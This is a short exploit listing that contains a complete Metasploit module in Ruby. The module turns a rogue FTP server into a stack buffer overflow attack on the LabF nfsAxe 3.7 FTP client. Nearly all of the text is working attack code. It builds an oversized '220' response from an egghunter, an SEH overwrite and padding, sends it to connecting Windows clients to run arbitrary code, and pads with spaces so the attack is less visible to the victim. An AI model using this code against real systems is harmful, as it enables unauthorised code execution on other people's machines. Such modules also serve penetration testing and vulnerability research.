LabF nfsAxe 3.7 FTP Client Stack Buffer Overflow

This Metasploit module exploits a buffer overflow in the LabF nfsAxe 3.7 FTP Client allowing remote code execution.


MD5 | 8d30c79823a88f61fd7afa9d88d0562e

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::Seh
include Msf::Exploit::Remote::Egghunter

def initialize(info = {})
super(update_info(info,
'Name' => 'LabF nfsAxe 3.7 FTP Client Stack Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the LabF nfsAxe 3.7 FTP Client allowing remote
code execution.
},
'Author' =>
[
'Tulpa', # Original exploit author
'Daniel Teixeira' # MSF module author
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '42011' ]
],
'Payload' =>
{
'BadChars' => "\x00\x0a\x10",
},
'Platform' => 'win',
'Targets' =>
[
# p/p/r in wcmpa10.dll
[ 'Windows Universal', {'Ret' => 0x6801549F } ]
],
'Privileged' => false,
'DefaultOptions' =>
{
'SRVHOST' => '0.0.0.0',
},
'DisclosureDate' => 'May 15 2017',
'DefaultTarget' => 0))

register_options(
[
OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ])
])
end

def exploit
srv_ip_for_client = datastore['SRVHOST']
if srv_ip_for_client == '0.0.0.0'
if datastore['LHOST']
srv_ip_for_client = datastore['LHOST']
else
srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')
end
end

srv_port = datastore['SRVPORT']

print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
super
end

def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)
print_status("#{client.peerhost} - connected.")

res = client.get_once.to_s.strip
print_status("#{client.peerhost} - Request: #{res}") unless res.empty?
print_status("#{client.peerhost} - Response: Sending 220 Welcome")
welcome = "220 Welcome.\r\n"
client.put(welcome)

res = client.get_once.to_s.strip
print_status("#{client.peerhost} - Request: #{res}")
print_status("#{client.peerhost} - Response: sending 331 OK")
user = "331 OK.\r\n"
client.put(user)

res = client.get_once.to_s.strip
print_status("#{client.peerhost} - Request: #{res}")
print_status("#{client.peerhost} - Response: Sending 230 OK")
pass = "230 OK.\r\n"
client.put(pass)
res = client.get_once.to_s.strip
print_status("#{client.peerhost} - Request: #{res}")

eggoptions = { :checksum => true }
hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

# "\x20"s are used to make the attack less obvious
# on the target machine's screen.
sploit = "220 \""
sploit << "\x20"*(9833 - egg.length)
sploit << egg
sploit << generate_seh_record(target.ret)
sploit << hunter
sploit << "\x20"*(576 - hunter.length)
sploit << "\" is current directory\r\n"

print_status("#{client.peerhost} - Request: Sending the malicious response")
client.put(sploit)

end
end

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